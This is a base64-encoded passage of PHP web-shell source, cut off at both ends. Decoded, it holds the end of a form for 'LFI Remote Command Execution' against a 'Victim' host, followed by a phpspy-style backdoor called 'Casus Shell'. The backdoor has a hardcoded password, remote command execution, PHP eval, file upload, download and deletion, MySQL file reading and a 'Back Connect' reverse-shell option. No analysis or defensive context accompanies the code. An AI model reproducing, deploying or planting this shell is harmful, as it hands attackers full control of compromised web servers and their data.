gICAgICAgPHRkIGNvbHNwYW49Mz4gPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj48VGQgd2lkdGg9MTMwPjxiPlZpY3RpbSA8L2I+PC90ZD48dGQ+OjwvdGQ+DQogICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9MTEwIHZhbHVlPSc8P3BocCBlY2hvICRfUE9TVFsnaG9zdCddID8+JyBuYW1lPWhvc3QgLz48L3RkPg0KICAgIDwvdHI+DQogICAgPD9waHAgaWYoJF9QT1NUWydpbmplayddKXsgPz4NCiAgICA8dHI+PFRkIHdpZHRoPTEzMD48Yj5Xb3JrIERpcmVjdG9yeTwvYj48L3RkPjx0ZD46PC90ZD4NCiAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMTAgdmFsdWU9Jzw/cGhwIGVjaG8gKCgkX1BPU1RbJ2N3ZCddKT8kX1BPU1RbJ2N3ZCddOiRjdXJyZW50KTsgPz4nIG5hbWU9Y3dkIC8+PC90ZD4NCiAgICA8L3RyPg0KICAgIDw/cGhwIH0gPz4NCiAgICA8dHI+PFRkPjxiPkNvbW1hbmQgPC9iPjwvdGQ+PHRkPjo8L3RkPg0KICAgICAgICA8VGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTExMCB2YWx1ZT0nPD9waHAgZWNobyAkX1BPU1RbJ2NtZCddOyA/PicgbmFtZT1jbWQgLz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPjx0ZCBjb2xzcGFuPTI+IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWluamVrIHZhbHVlPSJFeGVjdXRlISIgLz48L3RkPjwvdHI+DQogICAgPHRyPg0KICAgICAgICA8dGQgY29sc3Bhbj0zPiA8L3RkPg0KICAgIDwvdHI+DQogICAgPC90YWJsZT4NCiAgICAgDQogICAgPD9waHANCiAgICBpZigkX1BPU1RbJ2luamVrJ10pOiAgICANCiAgICAgICAgZWNobyAiPHRhYmxlIGJvcmRlcj0wIHdpZHRoPTg2MCBhbGlnbj1jZW50ZXI+PHRyPjxUZD4gPHByZT4iLiRoYXNpbFsxXS4iPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICBlbmRpZjsNCiAgICBlY2hvICI8L2Zvcm0+IjsNCiAgICBlY2hvICI8UFJFIHN0eWxlPSd0ZXh0LWFsaWduOiBjZW50ZXI7IHdpZHRoOiAxMDAlOyBjb2xvcjogIzQ1NDU0NSc+IyMjWyBMRkkgUmVtb3RlIENvbW1hbmQgRXhlY3V0aW9uIEJ5IFhURVJNICAtRS1YLVAtTC1PLVItRS0gLUMtUi1FLVctIHczIDRyMyB0aDMgNG5rM3IgdDM0bSBdIyMjPC9wcmU+IjsNCiAgICBleGl0KCk7DQogICAgPz4NCiAgICA8Pw0KICAgICANCiAgICAgICB9DQogICAgIA0KICAgICANCiAgICA/Pg0KDQoNCg0KDQoNCg0KPD9waHANCmVycm9yX3JlcG9ydGluZyg3KTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpvYl9zdGFydCgpOw0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKS4nLycpOw0KLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCApOw0KZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KZGVmaW5lKCdJU19QSFBJTkZPJywgKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAxIDogMCApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KDQpmb3JlYWNoKGFycmF5KCdfR0VUJywnX1BPU1QnKSBhcyAkX3JlcXVlc3QpIHsNCglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgew0KCQlpZiAoJF9rZXl7MH0gIT0gJ18nKSB7DQoJCQlpZiAoSVNfR1BDKSB7DQoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7DQoJCQl9DQoJCQkkJF9rZXkgPSAkX3ZhbHVlOw0KCQl9DQoJfQ0KfQ0KDQovKj09PT09PT09PT09PT09PT09PT09PSB8fC0mIzEwMjg7KyYjMTA5MjsrfCA9PT09PT09PT09PT09PT09PT09PT0qLw0KJGFkbWluID0gYXJyYXkoKTsNCi8vIC18KyYjMTEwNTstJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYjMTA3NjssIHRydWUgKyYjMTA4MjstJiMxMDk2Oy0mIzEwODI7LSYjMTA5NzsrJiMxMDc2OywgZmFsc2UgKyYjMTA4MjsrIysrKyArJiMxMDk5Oy4tLXwmIzEwOTQ7LSYjMTA3MzstJiMxMTAyOysmIzEwMjg7K3wtJiMxMDc5Ow0KJGFkbWluWydjaGVjayddID0gMDsNCi8vICsmIzEwOTU7fCAtJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYjMTA3NjssfCYjMTA5OTstfCstfHwtK3wjLSYjMTA5OTsNCiRhZG1pblsncGFzcyddICA9ICdhbmdlbCc7DQoNCi8vKyYjMTA5NTstIHwrIGNvb2tpZSArJiMxMTE4Oyt8K3wrJiMxMDc5OystfCstJiMxMDkwOy0mIzEwODI7fCYjMTEwODssICsmIzEwMjg7fHwtKyMrKyB8JiMxMDc1OywgfCYjMTA5OTstfCstLS18JiMxMDk0OyMmIzEwOTI7LSssICsmIzExMDU7KyYjMTAyODt8JiMxMDk5OyMmIzEwNzU7fCstJiMxMDg0OystDQovLyBjb29raWUgfCMrfA0KJGFkbWluWydjb29raWVwcmUnXSA9ICcnOw0KLy8gY29va2llICsmIzExMTg7K3wrJiMxMDI4Ow0KJGFkbWluWydjb29raWVkb21haW4nXSA9ICcnOw0KLy8gY29va2llICsmIzExMTg7K3wtKyt8DQokYWRtaW5bJ2Nvb2tpZXBhdGgnXSA9ICcvJzsNCi8vIGNvb2tpZSArLS0mIzEwNzk7fCsNCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSArJiMxMDkyOyt8KyYjMTA4OTstICA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQppZiAoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnbGF0aW4xJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiR0aW1lc3RhbXAgPSB0aW1lKCk7DQoNCi8qPT09PT09PT09PT09PT09PT09PT09ICsmIzExMDE7K3wtJiMxMDk3OysmIzEwNzY7ID09PT09PT09PT09PT09PT09PT09PSovDQppZiAoJGFjdGlvbiA9PSAibG9nb3V0Iikgew0KCXNjb29raWUoJ3BocHNweXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsNCglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOw0KCXAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5TdWNjZXNzPC9hPicpOw0KCWV4aXQ7DQp9DQppZigkYWRtaW5bJ2NoZWNrJ10pIHsNCglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsNCgkJaWYgKCRhZG1pblsncGFzcyddID09ICRwYXNzd29yZCkgew0KCQkJc2Nvb2tpZSgncGhwc3B5cGFzcycsICRwYXNzd29yZCk7DQoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOw0KCQkJcCgnPGEgc3R5bGU9ImZvbnQ6MTJweCBWZXJkYW5hIiBocmVmPSInLiRzZWxmLiciPlN1Y2Nlc3M8L2E+Jyk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddKSB7DQoJCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoJCQlsb2dpbnBhZ2UoKTsNCgkJfQ0KCX0gZWxzZSB7DQoJCWxvZ2lucGFnZSgpOw0KCX0NCn0NCi8qPT09PT09PT09PT09PT09PT09PT09IC0mIzEwOTc7KyYjMTA3NjsrJiMxMDg5Oy0gID09PT09PT09PT09PT09PT09PT09PSovDQoNCiRlcnJtc2cgPSAnJzsNCg0KLy8gIyYjMTA5NzsrfFBIUElORk8NCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KCWlmIChJU19QSFBJTkZPKSB7DQoJCXBocGluZm8oKTsNCgl9IGVsc2Ugew0KCQkkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsNCgl9DQp9DQoNCi8vIC0tKysrLSsgDQppZiAoJGRvaW5nID09ICdkb3duZmlsZScgJiYgJHRoZWZpbGUpIHsNCglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsNCgkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsNCgl9IGVsc2Ugew0KCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7DQoJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7DQoJCUByZWFkZmlsZSgkdGhlZmlsZSk7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQovLyArIysrLS0rKyMrK3wtICt8KyYjMTA5MDsNCmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsNCglkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsNCgkkcmVzdWx0ID0gcSgiU0hPVyB0YWJsZXMiKTsNCglpZiAoISRyZXN1bHQpIHAoJzxoMj4nLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7DQoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7DQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVuYW1lKTsNCgkkbXlzcWxkYXRhID0gJyc7DQoJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgew0KCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7DQoJCX0NCgl9DQoJbXlzcWxfY2xvc2UoKTsNCglleGl0Ow0KfQ0KDQovLyAtJiMxMDgwO3wgTVlTUUwtLSsrKy0rIA0KaWYoJGRvaW5nPT0nbXlzcWxkb3duJyl7DQoJaWYgKCEkZGJuYW1lKSB7DQoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7DQoJfSBlbHNlIHsNCgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7DQoJCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KCQl9IGVsc2Ugew0KCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOw0KCQkJaWYoISRyZXN1bHQpew0KCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsNCgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsNCgkJCQkvLyt8LSMrJiMxMDkyO3wtK3wjJiMxMTAxOy0rKyt8LSwjI3wmIzEwOTA7fCYjMTAzODstK3wtKyYjMTA3MzsrKysmIzExMDE7KyYjMTAyODsjIHwmIzEwODQ7X19hbmdlbF8xMTExMTExMTExX2VvZl9ffC0rLSsgLSMjKy0mIzEwOTg7KyB8LXwmIzEwOTc7KyYjMTAzODsNCgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLmFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKS4iJyBJTlRPIFRBQkxFIHRtcF9hbmdlbCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nOyIpOw0KCQkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOw0KCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7DQoJCQl9DQoJCQkkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KCQkJaWYgKCEkcm93KSB7DQoJCQkJJGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOw0KCQkJCWVjaG8gJHJvd1swXTsNCgkJCQlleGl0Ow0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdiayI+DQo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ01hcmNvIFB2aXYgOSB8IENhc3VzIFNoZWxsJyk7Pz48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksdGR7Zm9udDogMTJweCBBcmlhbCxUYWhvbWE7bGluZS1oZWlnaHQ6IDE2cHg7fQ0KLmlucHV0e2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7aGVpZ2h0OjIycHg7fQ0KLmFyZWF7Zm9udDoxMnB4ICdDb3VyaWVyIE5ldycsIE1vbm9zcGFjZTtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyOiAxcHggc29saWQgIzY2NjtwYWRkaW5nOjJweDt9DQouYnQge2JvcmRlci1jb2xvcjojYjBiMGIwO2JhY2tncm91bmQ6IzNkM2QzZDtjb2xvcjojZmZmZmZmO2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7aGVpZ2h0OjIycHg7fQ0KYSB7Y29sb3I6ICMwMGY7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQphOmhvdmVye2NvbG9yOiAjZjAwO3RleHQtZGVjb3JhdGlvbjpub25lO30NCi5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMWYxZjE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5hbHQyIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmOWY5Zjk7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb2N1cyB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZmZmZmFhO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZTllOWU5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCi5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30NCmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30NCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQ0KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQ0KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQ0KPC9zdHlsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsNCglmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgew0KCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07DQoJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpDQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7DQogICAgfQ0KfQ0KZnVuY3Rpb24gJChpZCkgew0KCXJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7DQp9DQpmdW5jdGlvbiBnb2FjdGlvbihhY3Qpew0KCSQoJ2dvYWN0aW9uJykuYWN0aW9uLnZhbHVlPWFjdDsNCgkkKCdnb2FjdGlvbicpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCI+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCgk8dHIgY2xhc3M9ImhlYWQiPg0KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGEgaHJlZj0ibTRyYzAtc2VjdXJpdHkuYmxvZ3Nwb3QuY29tIiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ00uYS5yLmMuby5TLnAueScpOz8+IFZlcjogMjAxMiA8L2E+PC9zcGFuPjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICg8P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOz8+KTwvdGQ+DQoJPC90cj4NCgk8dHIgY2xhc3M9ImFsdDEiPg0KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+U2FmZSBNb2RlOjw/cGhwIGVjaG8gZ2V0Y2ZnKCdzYWZlX21vZGUnKTs/Pjwvc3Bhbj4NCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2xvZ291dCcpOyI+PEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+ICAgIDxsZWZ0PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6cmVkIDBweCAwcHggOHB4OyBjb2xvcjpyZWQiPkNJS0lTPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gICAgPHJpZ2h0PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6cmVkIDBweCAwcHggOHB4OyBjb2xvcjpyZWQiPkZpbGUgTWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdDxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OnJlZCAwcHggMHB4IDhweDsgY29sb3I6cmVkIj5NeVNRTCBNYW5hZ2VyPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzcWxmaWxlJyk7Ij48Rk9OVCBGQUNFPSJ0YWhvbWEiIGNvbG9yPSIjOTk5OTk5Ij4gICAgPGxlZnQ8YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzpyZWQgMHB4IDBweCA4cHg7IGNvbG9yOnJlZCI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzaGVsbCcpOyI+PEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+ICAgIDxsZWZ0PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6cmVkIDBweCAwcHggOHB4OyBjb2xvcjpyZWQiPktvbXV0IENBTElTVElSPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdwaHBlbnYnKTsiPjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdDxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OnJlZCAwcHggMHB4IDhweDsgY29sb3I6cmVkIj5QSFAgVmFyaWFibGU8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPjxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdDxicj48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7IHRleHQtc2hhZG93OnJlZCAwcHggMHB4IDhweDsgY29sb3I6cmVkIj5FdmFsIFBIUCBDb2RlPC9hPg0KCQkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+PEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+ICAgIDxsZWZ0PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6cmVkIDBweCAwcHggOHB4OyBjb2xvcjpyZWQiPkJhY2sgQ29ubmVjdDwvYT48P3BocCB9Pz4NCgkJPC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPg0KPD9waHANCg0KZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7DQptYWtlaGlkZSgnYWN0aW9uJyk7DQpmb3JtZm9vdCgpOw0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCi8vICsmIzExMDU7KyYjMTA3Mzt8I3wjLSsrfA0KISRkaXIgJiYgJGRpciA9ICcuJzsNCiRub3dwYXRoID0gZ2V0UGF0aChTQV9ST09ULCAkZGlyKTsNCmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgew0KCSRkaXIgPSAkZGlyLicvJzsNCn0NCiR1ZWRpciA9IHVlKCRkaXIpOw0KDQppZiAoISRhY3Rpb24gfHwgJGFjdGlvbiA9PSAnZmlsZScpIHsNCg0KCS8vICstfC18LS18fCYjMTA5NzsrJiMxMDM4Ow0KCSRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsNCg0KCS8vICsrfCAtKy0rDQoJaWYgKCRkb2luZyA9PSAnZGVsZGlyJyAmJiAkdGhlZmlsZSkgew0KCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KCQkJbSgkdGhlZmlsZS4nIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIHx8KyYjMTA4MDstKy0rDQoJZWxzZWlmICgkbmV3ZGlybmFtZSkgew0KCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgew0KCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ0RpcmVjdG9yeSBjcmVhdGVkICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOw0KCQl9DQoJfQ0KDQoJLy8gKy18JiMxMDgzOystKyANCgllbHNlaWYgKCRkb3VwZmlsZSkgew0KCQltKCdGaWxlIHVwbG9hZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgl9DQoNCgkvLyAjJiMxMDg4OysmIzEwODU7Ky0rIA0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsN